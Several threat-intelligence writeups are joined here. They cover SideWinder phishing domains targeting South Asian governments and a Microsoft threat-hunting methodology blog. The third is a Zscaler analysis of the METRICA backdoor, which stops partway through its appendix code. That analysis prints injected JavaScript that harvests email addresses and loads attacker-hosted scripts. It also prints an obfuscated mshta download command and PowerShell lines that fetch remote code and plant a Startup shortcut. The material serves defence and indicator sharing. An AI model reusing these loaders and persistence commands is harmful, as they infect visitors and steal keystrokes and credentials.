After decryption (using the same principle as with the main backdoor + stealer), the configuration reveals which file formats the attackers are targeting. The main functions of the backdoor + stealer are: 1. Downloading the .NET executable and running it 2. Collecting system information and uploading it to the command-and-control (C&C) server 3. Uploading selected files to the C&C server The collected information is in JSON format and includes information such as privileges, user accounts, computer system information, antivirus programs, running processes, processor information, operating system information, timezone, installed Windows updates, network information, list of directories in Users\%USERNAME%\Desktop, Users\%USERNAME%\Downloads, Users\%USERNAME%\Documents, Users\%USERNAME%\Contacts, as well as information on all drives and installed apps. ## The Spear-Phishing Attack We found several interesting dynamic DNS domains resolving to a server that was used to deliver SideWinder’s malicious documents. The subdomains of these dynamic DNS domains are designed to be similar to the domains of their victims’ mail servers. For example, “mail-nepalgovnp[.]duckdns[.]org” was created to pretend to be the original Nepal government’s domain “mail[.]nepal[.]gov[.]np”. Digging deeper, we found that it hosted several phishing pages. These pages were copied from the webmail servers of various targets and then modified for spear-phishing attacks designed to steal login credentials. Although it’s not clear to us how these phishing pages are delivered to the victims, finding the original webmail servers that they copied to make these phishing pages allows us to identify who they were targeting. Analysis of the phishing pages revealed that most of them would redirect to the original webmail servers, which they copied after the victims sent out their login credentials. However, we also found some of them will either redirect to documents or news pages. These documents and news are probably interesting in some way to their targets and are used to make them click and log in to the phishing pages. While several of the documents are related to Covid-19, we also found some documents or news related to territorial issues in South Asia. The following table shows their targets, related phishing domains, and lure documents used in each of the phishing attacks. | Phishing Domain | Targeted Organization | Targeted Mail Server | Redirection after Login | |------------------|----------------------|----------------------|-------------------------| | mail.nepal.gov.np | Government of Nepal | mail.nepal.gov.np | Redirect to file “IMG_0002.pdf” | | mail.mod.gov.np | Ministry of Defence, Nepal | mail.mod.gov.np | Redirect to original mail server | | mail.mofa.gov.np | Ministry of Foreign Affairs, Nepal | mail.mofa.gov.np | Redirect to web news “China, Nepal sign trade, infrastructure and security deals” | | mail.nepal.gov.np | Government of Nepal | mail.nepal.gov.np | Redirect to file “consultation_1523857630.pdf” | | imail.aop.gov-af[.]org | Administrative Office of the President, Afghanistan | imail.aop.gov.af | Redirect to web page “Observation Of Technology Use in Afghanistan Government Sector” | | mail.nsc.gov.af | National Security Council | mail.nsc.gov.af | Redirect to original mail server | | mail.nepalarmymilnp.duckdns[.]org | Nepali Army | mail.nepalarmy.mil.np | Redirect to PDF “EN Digital Nepal Framework V8.4 15 July 2019.pdf” | | mail.mofa.gov.np | Ministry of Foreign Affairs, Nepal | mail.mofa.gov.np | Redirect to PDF “national-security-vol-3-issue-1-essay-SSimkhada.pdf” | | webmail.mohe.gov-af[.]org | Ministry of Higher Education, Afghanistan | webmail.mohe.gov.af | Redirect to original mail server | | mail.defence.lk | Ministry of Defense, Sri Lanka | mail.defence.lk | Login Error | | mail.moha.gov.np | Ministry of Home Affairs, Nepal | mail.moha.gov.np | Redirect to original mail server | | mail.nsc.gov.af | National Security Council | mail.nsc.gov.af | Redirect to original mail server | | mail.arg.gov.af | Presidential Palace, Afghanistan | mail.arg.gov.af | Redirect to original mail server | | mail.doe.gov.np | Center for Education and Human Resource Development, Nepal | mail.doe.gov.np | Redirect to file “Para Basic Course Joining Instruction.docx” | | mail.nepal.gov.np | Government of Nepal | mail.nepal.gov.np | Redirect to original mail server | | mail.nea.org.np | Nepal Electricity Authority | mail.nea.org.np | Redirect to original mail server | | mail.nepal.gov.np | Government of Nepal | mail.nepal.gov.np | Redirect to file “central data form.pdf” | | mail.nepalarmymilnp.duckdns[.]org | Nepali Army | mail.nepalarmy.mil.np | Redirect to file “Corona Virus Preparedness and Response.pdf” | | mail.nepalpolice.gov.np | Nepal Police | mail.nepalpolice.gov.np | Redirect to file “1987 Conducting training on COVID-19 and keeping it in readiness.pdf” | | mail.nrb.gov.np | Nepal Rastra Bank | mail.nrb.gov.np | Redirect to file “fu.pdf” | | mail.nepalarmymilnp.duckdns[.]org | Nepali Army | mail.nepalarmy.mil.np | Redirect to web news “India Should Realise China Has Nothing to Do With Nepal’s Stand on Lipulekh” | | mail.nepalarmymilnp.duckdns[.]org | Nepali Army | mail.nepalarmy.mil.np | Showing login failed message | | mail.qcharity.org | Qatar Charity | mail.qcharity.org | Redirect to original mail server | | webmail.mpt.net.mm | Myanma Posts and Telecommunications | webmail.mpt.net.mm | Redirect to original mail server | | mail.ncp.org.np | Nepal Communist Party | mail.ncp.org.np | Redirect to file “India reaction after new pak map.pdf” | | mail.nscaf.myftp.org | Afghanistan National Security Council | mail.nsc.gov.af | Redirect to original mail server | | mail.mof.gov.np | Ministry of Finance, Nepal | mail.mof.gov.np | Redirect to file “1987 Covid.pdf” | | mail.ncp.org.np | Nepal Communist Party | mail.ncp.org.np | Redirect to document “The spectre of a new Maoist conflict in Nepal” | | imail.aop.gov-af[.]org | Administrative Office of the President, Afghanistan | imail.aop.gov.af | Redirect to file “SOP of Military Uniform.pdf” | | mail.nepalpolice.gov.np | Nepal Police | mail.nepalpolice.gov.np | Redirect to file “2077-07-03 1239 Regarding investigation and action.pdf” | | mail.caanepal.gov.np | Civil Aviation Authority of Nepal | mail.caanepal.gov.np | Redirect to original mail server | | mail.apf.gov.np | Armed Police Force, Nepal | mail.apf.gov.np | Redirect to original mail server | | mail.nscaf.myftp.org | Afghanistan National Security Council | mail.nsc.gov.af | Redirect to file “IT Services Request Form.pdf” | | mail.ntcnetnp.serveftp.com | Nepal Telecom | mail.ntcnetnp.serveftp.com | Redirect to original mail server | | mail.kmgcom.ddns.net | Kantipur Media Group | mail.kmg.com.np | Redirect to original mail server | | mail.parliament.gov.np | Federal Parliament of Nepal | mail.parliament.gov.np | Redirect to original mail server | | mail.ppmo.gov.np | Public Procurement Monitoring Office, Nepal | mail.ppmo.gov.np | Redirect to original mail server | | mfagovcn.hopto.org | Ministry of Foreign Affairs, China | mail.mfa.gov.cn | Redirect to file “Ambassador Yanchi Conversation with Nepali_Media.pdf” | ## Android Applications We also identified multiple Android APK files on their server. Interestingly, these Android applications still seem to be under the initial development phase as they are basic, still use the default Android icons, and have no practical function for users. We noticed two applications among them, named “My First APP” and “Opinion Poll,” that seemingly have no malicious behavior. My First APP demonstrates login & register processes, while Opinion Poll acts as an opinion polling application for the Indian-Nepalese political map dispute. The first application is likely an Android demo application for beginners, while the second one starts with an explanation of “Opinion Writing,” followed by a survey. Another two applications were built from JavaPayload for Metasploit that will load extra code from the remote server configured in the sample. While we were unable to retrieve the payload, according to the Manifest that requests numerous privacy-related permissions like location, contacts, call logs, etc., we can infer that it goes after the user’s private data. These two samples appear to be debug versions as they have no activities or any other component except Metasploit. We also identified a malicious version of the My First APP application that added Metasploit whose class names have been obfuscated. SideWinder has used malicious apps as part of its operation before. In the campaign referenced earlier, the group used malicious APKs disguised as photography and file manager tools to lure users into downloading them. Once downloaded into the user’s mobile device, the malicious APKs launch a series of fairly sophisticated procedures that includes rooting the device to stealthily deploy the payload, as well as exploiting CVE-2019-2215 and MediaTek-SU vulnerabilities for root privileges. The payload’s ultimate goal is to gather information from the compromised device and then send it back to its C&C server. In the case of these newer APKs, it seems that the goal is to gather user information as well. Unlike the earlier apps, which were already on the Google Play Store, all the APK files found on their server are not mature enough for a deliberate attack. In our opinion, these are still in the initial stage, and the payloads (directed at mobile users) are still being refined further. ## Conclusion As seen with their phishing attacks and their mobile device tools’ continuous development, SideWinder is very proactive in using trending topics like Covid-19 or various political issues as a social engineering technique to compromise their targets. Therefore, we recommend that users and organizations be vigilant and follow social engineering best practices to protect themselves from these kinds of campaigns.
# The Art and Science Behind Microsoft Threat Hunting: Part 2 We discussed Microsoft Detection and Response Team’s (DART) threat hunting principles in part 1 of The Art and Science Behind Microsoft Threat Hunting blog series. In this follow-up post, we will talk about some general hunting strategies, frameworks, tools, and how Microsoft incident responders work with threat intelligence. ## General Hunting Strategies In DART, we follow a set of threat hunting strategies when our analysts start their investigations. These strategies serve as catalysts for our analysts to conduct deeper investigations. For the purposes of this blog, we are listing these strategies under the assumption that a compromise has been confirmed in the customer’s environment. ### Starting with IOCs (“Known Bads”) An incident response investigation is more manageable when you start off with an initial indicator of compromise (IOC) trigger, or a “known bad,” to take you to any additional findings. We typically begin with data reduction techniques to limit the data we’re looking at. One example is data stacking, which helps us filter and sort out forensic artifacts by indicator across the enterprise environment until we’ve determined that several machines across the same environment have been confirmed with that same IOC trigger. We then enter the hunting flow and rinse and repeat this process. Types of indicators can be classified into: - **Atomic**—The smallest unit. For example, IP addresses, domain names, email addresses, and file names. - **Computed**—Match multiple atomic indicators. For example, hashes and regular expressions. - **Behavioral**—Patterns of adversary actions. For example, tactics, techniques, and procedures (TTPs) and demonstrated actor preferences (such as file paths, usernames, and tools). ### Quick Wins Unfortunately, not everything we start out with is interrelated with the trigger IOC. Another hunting strategy we employ is to look for quick wins; in other words, looking for indicators of typical adversary behavior present in a customer environment. Some examples of quick wins include typical actor techniques, actor-specific TTPs, known threats, and verified IOCs. Identifying our quick wins is the most impactful to the customer, as it helps us formulate our attack narrative while guiding customers to keep the actor away from the environment. ### Anomaly-Based Hunting If you’re out of leads, another strategy to employ is pivoting to hunting for anomalies, which draws on information derived from our “known bads” and quick wins. We discussed anomalies in the first part of this series as part of understanding the customer data. Some techniques include: - Define baselines. Perform baseline comparisons for your dataset. Determine the usual versus the unusual in an environment. - Summarize your data and occurrences and sort by indicator to find the outliers. - Clean the output. We recommend formatting your data in favor of efficiency and accuracy to make the outliers and anomalies stand out. Pure anomaly-based hunting may be performed concurrently with other hunting strategies on a customer engagement, depending on the data we’re presented. This method is incredibly nuanced and requires seasoned experts to verify whether data patterns may encompass normal or “abnormal” behavior. This prevalence checking and data science approach is the most time-consuming but can bear some of the most interesting evidence in an investigation. ### Tying It All Together: The Attack Narrative Stringing together our patterns of anomalous activity, factual data from quick wins, and analytical opinions must conclude with an attack narrative. In an incident response investigation, the MITRE ATT&CK framework serves as a foundation for adversary tactics and techniques based on real-world observations. The MITRE framework helps us ensure that we’re looking at our hypothesis in a structured manner to enable us to tell a cohesive narrative to the customer that is rooted in our analysis. We aim to answer questions such as: - How did the attacker gain access? - What did they do once inside? - Which accounts did they use? - Which systems did they access? - How and where did they persist? - Was any data accessed or exfiltrated? - And, most importantly, are they still in the environment? Additionally, we want to answer questions surrounding threat actor intent to help tell a better story and build better defenses. Some common attack patterns from the MITRE framework are listed below. | Tactic | Techniques | |----------------------|---------------------------------------------------------------------------| | Initial access | Phishing files | | Execution | PowerShell and service execution | | Persistence | Services installations, webshells, scheduled tasks, registry run keys | | Defense evasion | Masquerading, obfuscation, BITS jobs, signed executables | | Credential access | Brute forcing, credential dumping | | Discovery | Network share enumeration | | Lateral movement | Overpass the hash, WinRM | | Collection | Data staging | | Command and control | Un/commonly used ports | | Exfiltration | Data compression | | Impact | Data encrypted for impact | ## Threat Hunting Tools and Methodology To ensure maximum visibility of the attack chain, hunters use data sourced from proprietary incident response tooling for point-in-time deep scanning on endpoints, as well as bespoke forensic triage tools on devices of interest. For point-in-time deep scanning, DART uses: - Proprietary incident response tooling for Windows and Linux. - Forensic triage tool on devices of interest. - Microsoft Azure Active Directory (Azure AD) security and configuration assessment. For continuous monitoring: - Microsoft Sentinel—Provides centralized source of event logging. Uses machine learning and artificial intelligence. - Microsoft Defender for Endpoint—For behavioral, process-level detection. Uses machine learning and artificial intelligence to quickly respond to threats while working side-by-side with third-party antivirus vendors. - Microsoft Defender for Identity—For detection of common threats and analysis of authentication requests. It examines authentication requests to Azure AD from all operating systems and uses machine learning and artificial intelligence to quickly report many types of threats, such as pass-the-hash, golden and silver ticket, skeleton key, and many more. - Microsoft Defender for Cloud Apps—Cloud Access Security Broker (CASB) that supports various deployment modes including log collection, API connectors, and reverse proxy. It provides rich visibility, control over data travel, and sophisticated analytics to identify and combat cyberthreats across all your Microsoft and third-party cloud services. Continuous monitoring includes the following: - Microsoft Defender for Office 365, which monitors spoofing impersonation and content analysis. - Microsoft Defender for Cloud Apps, which monitors app discovery, access management, and data loss prevention. - Microsoft Defender for Endpoint, which monitors exploitation, installation, and command and control channel. - Microsoft Defender for Identity, which monitors reconnaissance, lateral movement, and domain dominance. - Microsoft 365 Defender, Microsoft Sentinel, and Microsoft Defender for Cloud, which include advanced hunting, alerting, and correlation across data sources. In addition, we work with internal threat intelligence teams, like the Microsoft Threat Intelligence Center (MSTIC), to provide details from our hands-on experience with customer environments and going toe-to-toe with the threat actors. The information collected from these experiences, in turn, provides a trail of evidence to help threat teams and services conduct enriched threat intelligence and security analytics to ensure the security of our customers. ## Contributing to Threat Intelligence Innovation Through Openness and Transparency We give organizations and customers the visibility and relevance of security events by sharing our data from dynamic threat intelligence and our continued collaboration with the MSTIC team. This collaboration has proven successful in instances where Microsoft Security teams have actively tracked large-scale extortion campaigns targeted at multiple organizations, resulting in an industry-wide effort to understand and track the threat actor’s tactics and targets. The NOBELIUM incident in late 2021 was another instance of a large-scale cyberattack that launched a global hunting effort formed around MSTIC and Microsoft’s team of global security experts. The threat actor targeted privileged accounts of service providers to move laterally in cloud environments, leveraging trusted relationships to gain access to downstream cloud service provider (CSP) customers. We engaged directly with affected customers to assist with incident response and drive detection and guidance around this activity. Through a successful partnership and continuous feedback loop, we have been able to improve our ability to minimize impact and protect customers over time. The work we delivered in protecting customers against NOBELIUM attacks would not have been possible if not for the continuous hunting process and feedback loop with threat intelligence. We’ve crafted a symbiotic relationship that empowers threat hunters at DART to become better incident responders by looking at additional vectors seen in threat intelligence platforms. Seeing events from a threat intelligence perspective, applying the art and science of threat hunting, and partnering with the security industry at large are all but signs of our commitment to growth and helping organizations stay protected from cyberattacks.
# Low-volume Multi-stage Attack Leveraging AzureEdge and Shopify CDNs ## Introduction In Feb 2021, Threatlabz observed a few instances of a low-volume multi-stage web attack in Zscaler cloud. This web attack leveraged legitimate servers of Microsoft (azureedge.net), Dropbox, and the content delivery network of Shopify (cdn.shopify.com) to host the malicious files. The attack chain started from a compromised WordPress site with a compromised plugin. When the victim browsed to the compromised e-commerce WordPress site, the injected JavaScript in the WooCommerce plugin kick-started the infection chain. The infection chain on the endpoint device consists of multiple stages involving the usage of MSHTA, PowerShell, and a C# backdoor, which is executed inline by PowerShell code. Based on our research, this threat actor is not yet documented anywhere, and we have not attributed this to any known threat actor yet. We have named the new C# backdoor discovered in this research "METRICA." In this blog, we describe the technical details of the entire infection chain end-to-end. ## Attack Flow Figure 1 shows the end-to-end attack flow which leads to the download of the final backdoor, METRICA. As shown in the above attack flow, in one of the observed instances of attacks, the user searched for the string “steelcase adjustable arm” on the Google search engine. From the search results, the user navigated to the URL: officechairatwork.com/product/steelcase-think-chair-3d-knit-back-4-way-adjustable-arms. Figure 2 shows officechairatwork.com, a legitimate WordPress-based e-commerce website. It uses the WooCommerce order tracking WordPress plugin. One of the JavaScripts for this plugin was injected with malicious code. Interestingly, the injected code uses base64 encoding to prevent any suspicion. **URL of injected JavaScript:** ``` hxxp://officechairatwork.com/wp-content/plugins/yith-woocommerce-order-tracking/assets/js/ywot.js?ver=5.6 ``` Figure 3 shows the injected code. This injected code dynamically creates a script element using HTML DOM which adds an external JavaScript reference. ``` script.src = 'https://metrica2.azureedge.net/tracking' ``` This results in the website loading the malicious code from the above URL. It ultimately redirects the user to the legitimate file-hosting site, Dropbox, to download a ZIP archive which contains the malicious LNK file. **URL:** ``` www.dropbox.com/s/3mrfasci8ibhms9/terms%20and%20conditions.zip?dl=1 ``` ## Technical Analysis First, we will look at the malicious JavaScript code which was injected in the compromised WordPress plugin on the website and how it leverages multiple stages to redirect the user to the final download page. ### Injected JavaScript Analysis **Stage-1 JavaScript** **URL:** metrica2.azureedge.net/tracking The first stage JavaScript performs a few checks to determine the next stage JavaScript to be loaded. It contains references to four more JavaScripts which are explained in detail in this section. Stage 1 JavaScript code defines 3 functions: 1. **load_path:** Creates a dynamic script element in the DOM. 2. **getMails:** Performs regex to check if the given string input is in the standard email ID format. 3. **valid:** Scans the page ‘input’ elements to retrieve the logged-in user email ID. Execution of the JavaScript code starts by retrieving two items from the browser’s sessionStorage with names - ‘startDate’ and ‘startMail’. It uses the above fetched values to perform the following actions: 1. Checks if startDate is valid and if yes, then calculates the difference between current time and saved time (startDate). If the difference is less than 100 seconds, it calls the load_path function which in turn loads the next stage JavaScript from the path “metrica2.azureedge.net/lockpage.” 2. If startDate is not valid, then the function named valid is called in 500 milliseconds intervals to retrieve the logged-in user email ID. When the email ID is retrieved successfully, it calls the load_path function which in turn loads the next stage JavaScript from the path “metrica2.azureedge.net/slashpage.” **Stage-2 JavaScript** **URL 1:** metrica2.azureedge.net/lockpage The second stage JavaScript performs two operations: 1. Prepends a ‘div’ element with id “slashpage” to the website’s main page and inserts an empty ‘iframe’ element with name “splashpage-iframe” to it. 2. Creates a dynamic script element in the DOM which loads the next stage JavaScript from the path “metrica2.azureedge.net/PatternSite.” **URL 2:** metrica2.azureedge.net/slashpage Performs the same operations as /lockpage. In addition to that, it retrieves the startDate item from sessionStorage and if not found, sets it to the current date. **Stage-3 JavaScript** **URL:** metrica2.azureedge.net/PatternSite The third stage JavaScript has configurable parameters that control the execution behavior as well as the frequency of execution of the contained JavaScript code. This stage of JavaScript is responsible for displaying or hiding a banner as a social engineering technique to lure the victim to download a malicious ZIP file. The banner is displayed by configuring the ‘div’ and ‘iframe’ elements created by the second stage JavaScript. The source URL for the banner is: ``` metrica2.azureedge.net/templates/template_2/modal_test2_animate_responsive_json.html ``` When the user clicks the Continue button, it initiates the ZIP file download request in the background. As soon as the download request is sent, the banner content is also changed. The downloaded ZIP file contains a LNK file inside which is executed by the user. For the purpose of technical analysis, we will look at the LNK file with MD5 hash: ``` 2d0f946bac9b565b15cb739473bd4b20 ``` This LNK was archived inside a ZIP file which was hosted on the Dropbox URL: ``` www.dropbox.com/s/3mrfasci8ibhms9/terms%20and%20conditions.zip?dl=1 ``` The LNK file on execution used the following command line to fetch malicious VBScript code from the attacker-configured server on azureedge.net: ``` %WINDIR%\System32\cmd.exe /c "set a=start ms&&set b=hta ht&&set c=tps://&&set d=web-google.azur&&set v=eedge.net/doc-YUSKQOPZUFD&call set f=%a%%b%%c%%d%%v%&&call %f%"&&exit ``` The above command line will leverage MSHTA to download the malicious VBScript from the URL: web-google.azureedge.net/doc-YUSKQOPZUFD. The downloaded VBScript, in turn, will connect to the URL: ``` string.azureedge.net/doc49672.jpeg/ps1/9876/ ``` to download the next stage PowerShell code. The downloaded PowerShell code has C# code embedded inside it, which will be executed inline by the PowerShell code. This C# code is a backdoor which we have named “METRICA.” ### METRICA Backdoor Analysis The METRICA backdoor is executed inline using wrapped PowerShell code to make the backdoor execution fileless. PowerShell natively supports inline C# execution. Using the following snippet of code, it is possible to perform inline code execution of C#: ``` Add-Type -ReferencedAssemblies {Add any assembly references here} -TypeDefinition {Add C# code here} -Language CSharp; ``` In order to avoid static detection and hinder the analysis, the METRICA backdoor is generated on the fly using a server-side generator (in the case of hosting service - azureedge.net). Due to this, each request to download the backdoor results in a backdoor with different size and different static string obfuscation. In case the backdoor is hosted on cdn.shopify.com, it is not generated on-the-fly but seems to be regularly updated by the attacker. **Note:** This is likely because the azureedge.net hostings are directly owned by the attacker. ### Code Analysis The METRICA backdoor execution starts by calling its main function from the wrapper PowerShell code. The main function takes the below 3 input parameters: - A domain name - Key which is used for encryption/decryption of data - Default value to use for delay between the network requests In the analyzed sample, the following values were passed: - Domain Name: "https://global.asazure.windows.net" - Key: "ENoztOORXAkUuWOkSdzLaRRL" - Default Delay Value: "9567" **Note:** Based on further analysis, we found that the ‘Key’ is configured per C2 server and is never sent as part of network communication. Execution of the main function performs the below operations: 1. Registers the infected machine to the C2 server. This is the bot registration stage. 2. Creates a thread to perform keylogging and capture foreground/active window text. 3. Starts the C2 communication and executes the command received by calling the required function. ### BOT Registration BOT registration request is sent to the C2 server with the below information from the infected system: - Generated BOT ID - Computer Name - User Domain - UserName The information collected is formatted as shown below: ``` register {BOT ID} {ComputerName}{DomainName}\\{UserName} ``` ### Information Collection and Exfiltration The METRICA backdoor collects the following information from the infected system: - Keystrokes - Foreground/Active window text To exfiltrate the logged information, a Timer object is created which calls the log exfiltration function every 5 seconds. This is done to maintain the fileless execution since the keystrokes and window text information is stored in the memory and cleared as the information is exfiltrated. The logged information is formatted as shown below: ``` userinput {Base64_encoded_logged_information} ``` ### Network Communication **Initialization** The METRICA backdoor performs all the network communication over HTTPS. All web requests are created using the domain name which is passed as the first parameter to the main function described earlier and a network path which is generated as a random string for every request. Afterwards, the following header fields are initialized: - Method: “POST” - UserAgent: Initialized with OS Version string - Timeout: 10000 - Host: Attacked controlled endpoint on the CDN - ProxyCredentials: Default Credentials **Request/Response Format** All the network requests/responses use the following format: ``` { UUID: “Unique identifier for every exfiltration request/response pair”, ID: “BOT ID of the infected machine”, DATA: “Encrypted and Base64 encoded data” } ``` **BOT Registration Request** Like every other backdoor, the first network request is of BOT registration. Data sent as part of the request is already described in the BOT registration section. No UUID is used in the registration request. **C2 Commands** The network request to fetch the C2 command is sent at regular intervals. The UUID and the DATA field are empty for all such network requests. Based on the C2 response from the server, different operations are performed. The METRICA backdoor checks if the UUID field in the response is set or not. If the UUID field is set, it decrypts the response data specified in the DATA field. The decrypted data then specifies the command to be executed. | Command | Action Performed | |-----------------------|----------------------------------------------------------------------------------| | delay | Updates the time delay between the network requests | | screenshot | Capture screenshot of all the connected screens and send to the C2 server | | exit | Stop fetching new commands from the C2 server | | Raw PowerShell command | Execute the raw PowerShell command and send the output to the C2 server | 1. **delay**: Updates the time delay between the network requests with the C2 server-specified value. No network response is sent back. 2. **screenshot**: For all the available screens, capture a screenshot and send it to the C2 server one at a time. To maintain the fileless execution, the screenshot is saved in memory and sent to the C2 server. 3. **exit**: Sets a boolean variable which breaks the C2 communication loop. No network response is sent back. 4. **Raw PowerShell command**: Executes the raw PowerShell command and sends the result back to the C2 server. To execute the PowerShell command from C# code, a Runspace is created. A Pipeline is opened to the created Runspace. The pipeline is then used to specify the PowerShell command to be executed and also configure the Runspace to send the output back to the C# code. The output is then sent to the C2 server. **Note:** To read more about Runspace, check this article. ### Persistence Achieves persistence by leveraging PowerShell code to download a new LNK file from Dropbox and dropping it in the Startup directory. The PowerShell code is broken into two stages: - First stage PowerShell code is sent as a C2 command which downloads and executes the second stage PowerShell code from the specified remote location. - The second stage PowerShell code downloads the new LNK and drops it in the Startup directory. **First stage PowerShell code sent as C2 command:** ``` IEX (New-Object Net.Webclient).downloadstring('https://www.dropbox.com/s/qmdiqv2djdkap4y/lnkobv.t?dl=1') ``` **Second stage PowerShell code for downloading new LNK and dropping it in the Startup directory:** ``` $client = new-object System.Net.WebClient;$client.DownloadFile("https://www.dropbox.com/s/tfy1pd5et10jfg3/Startup_tor?dl=1","$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Startup.lnk"); ``` **Note:** The reason for achieving persistence only by specifying the C2 command could be to avoid persistent infection in case the victim profile is not of any interest to the attacker. Further, the entire attack chain is fileless except for the initial ZIP download, so it also helps lower the fingerprints in the infected system. ## Zscaler Sandbox Report Figure 9 shows the Zscaler Cloud Sandbox successfully detonating and detecting this threat. In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. ## MITRE ATT&CK TTP Mapping | ID | Tactic | Technique | |-----------------|-------------------------------------------|---------------------------------------------------------------------------| | T1566.001 | Drive-by Compromise | Compromised plugin JavaScript file | | T1204.002 | User Execution: Malicious File | User opens the downloaded ZIP file and executes the contained LNK | | T1059 | Command and Scripting Interpreter | Executes malicious JavaScript and PowerShell code | | T1547.001 | Registry Run Keys / Startup Folder | Creates LNK file in the startup folder for persistence | | T1140 | Deobfuscate/Decode Files or Information | Strings and other data are obfuscated in the payloads | | T1218 | Signed Binary Proxy Execution | Uses mshta to execute the VBScript code | | T1027.002 | Obfuscated Files or Information: Software Packing | Payloads are packed in layers | | T1082 | System Information Discovery | Gathers system OS version info | | T1033 | System Owner/User Discovery | Gathers currently logged in Username | | T1113 | Screen Capture | Capture Screenshot of all the connected screens | | T1056 | Input Capture | Capture keystrokes and foreground window text | | T1132.001 | Data Encoding: Standard Encoding | Uses Base64 encoding for data exfiltration | | T1071.001 | Application Layer Protocol: Web Protocols | Uses HTTPS for C2 communication | | T1041 | Exfiltration Over C2 Channel | Data is exfiltrated using existing C2 channel | ## Indicators of Compromise **Hashes** - **ZIP** - 53558b99cbfe6f99dd1597e21b49b07e - d6fb36a86aec32f17220050da903a0ce - **LNK** - 2d0f946bac9b565b15cb739473bd4b20 - 272edc017f01eef748429358b229519b **ZIP File Download Links** - www.dropbox.com/s/3mrfasci8ibhms9/terms%20and%20conditions.zip?dl=1 - www.dropbox.com/s/g2hw0s5qec1kvzs/terms%20and%20conditions.zip?dl=1 **Intermediate Stage Payload Hosting** - **MD5:** 2d0f946bac9b565b15cb739473bd4b20 - hxxps://web-google.azureedge.net/doc-YUSKQOPZUFD - hxxps://cdn.shopify.com/s/files/1/0536/1506/7334/t/1/assets/ThemeStyleSheet.html - hxxps://string.azureedge.net/doc49672.jpeg/ps1/9876/ - **MD5:** 272edc017f01eef748429358b229519b - hxxps://compos17.azureedge.net/doc-YUSKQOPZUFD - hxxps://cdn.shopify.com/s/files/1/0541/9879/6463/t/1/assets/GjndThgbnys.html - hxxps://cdn.shopify.com/s/files/1/0541/9879/6463/t/1/assets/igRoQOJgupOQ.html **Persistence LNK** - hxxps://cdn.shopify.com/s/files/1/0536/1506/7334/t/1/assets/ThemeBodyFile.html - hxxps://theme.azureedge.net/microsoft.jpeg/ps1/9567/ **C2 Domains** - string.azureedge.net - theme.azureedge.net - atlant18.azureedge.net **JavaScript Files** - metrica2.azureedge.net/tracking - metrica2.azureedge.net/PatternSite - metrica2.azureedge.net/PatternSiteLock - metrica2.azureedge.net/lockpage - metrica2.azureedge.net/slashpage **Banner Hosting** - metrica2.azureedge.net/templates/template_2/modal_test2_animate_responsive_json.html **Dropped Filenames and Full Paths** - Terms And Conditions.zip - Terms And Conditions.lnk - {APPDATA}\Microsoft\Windows\Start Menu\Programs\Startup\Startup.lnk ## Appendix ### Stage-1 JavaScript ```javascript startDate = sessionStorage.getItem('startDate'); startMail = sessionStorage.getItem('startMail'); var metrica_path = 'metrica2.azureedge.net/PatternSite'; var metrica_path_lock = 'metrica2.azureedge.net/PatternSiteLock'; var metrica_lock = 'metrica2.azureedge.net/lockpage'; var metrica_slashpage = 'metrica2.azureedge.net/slashpage'; function load_path(metrica, email) { var metricasrc = document.createElement('script'); metricasrc.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + metrica + '?q=' + encodeURIComponent(email); document.getElementsByTagName("html")[0].appendChild(metricasrc); } function getEmails(search_in) { array_mails = search_in.toString().match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi); if (array_mails !== null) { return array_mails[0]; } else { return ''; } } if (startDate) { startDate = new Date(startDate); } if (startDate != null && Math.trunc((new Date() - startDate) / 1000) < 100) { email = startMail; load_path(metrica_lock, email); } if (startDate == null) { var is_email = 0; var forminput = document.querySelectorAll('input'); function valid() { for (var i = 0; i < forminput.length; i++) { if (forminput[i].type == 'email' || forminput[i].type == 'text') { if (forminput[i] != document.activeElement) { var email = getEmails(forminput[i].value); if (email != '') { startMail = sessionStorage.getItem('startMail'); if (startMail) { startMail = email; } else { startMail = email; sessionStorage.setItem('startMail', startMail); } load_path(metrica_slashpage, email); clearInterval(myVar); return; } } } } } var myVar = setInterval(valid, 500); } ``` ### Stage-2 JavaScript ```javascript startDate = sessionStorage.getItem('startDate'); if (startDate) { startDate = new Date(startDate); } else { startDate = new Date(); sessionStorage.setItem('startDate', startDate); } var formdiv = document.querySelector('body'); var pagediv = document.createElement('div'); pagediv.id = 'slashpage'; pagediv.style = 'position:absolute;z-index:100000;'; pagediv.innerHTML = '<iframe name="splashpage-iframe" src="about:blank" style="margin:0;border:0;padding:0;width:100%;height:100%" ></iframe><br />&nbsp;'; formdiv.insertBefore(pagediv, formdiv.firstChild); var metricasslash = document.createElement('script'); metricasslash.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + metrica_path + '?q=' + encodeURIComponent(startMail); document.getElementsByTagName("html")[0].appendChild(metricasslash); ``` ### Stage-3 JavaScript ```javascript var splashpage = { splashenabled: 1, splashpageurl: "//metrica2.azureedge.net/templates/template_2/modal_test2_animate_responsive_json.html", enablefrequency: 0, displayfrequency: "2 days", cookiename: ["splashpagecookie", "path=/"], autohidetimer: 0, launch: false, browserdetectstr: (window.opera && window.getSelection) || (!window.opera && window.XMLHttpRequest), output: function() { this.splashpageref = document.getElementById("slashpage"); this.splashiframeref = window.frames["splashpage-iframe"]; this.splashiframeref.location.replace(this.splashpageurl); this.standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body; if (!/safari/i.test(navigator.userAgent)) this.standardbody.style.overflow = "hidden"; this.splashpageref.style.left = 0; this.splashpageref.style.top = 0; this.splashpageref.style.width = "100%"; this.splashpageref.style.height = "100%"; this.moveuptimer = setInterval("window.scrollTo(0,0)", 50); }, closeit: function() { clearInterval(this.moveuptimer); this.splashpageref.style.display = "none"; this.splashiframeref.location.replace("about:blank"); this.standardbody.style.overflow = "auto"; }, init: function() { if (this.enablefrequency == 1) { if (/sessiononly/i.test(this.displayfrequency)) { if (this.getCookie(this.cookiename[0] + "_s") == null) { this.setCookie(this.cookiename[0] + "_s", "loaded"); this.launch = true; } } else if (/day/i.test(this.displayfrequency)) { if (this.getCookie(this.cookiename[0]) == null || parseInt(this.getCookie(this.cookiename[0])) != parseInt(this.displayfrequency)) { this.setCookie(this.cookiename[0], parseInt(this.displayfrequency), parseInt(this.displayfrequency)); this.launch = true; } } } else this.launch = true; if (this.launch) { this.output(); if (parseInt(this.autohidetimer) > 0) 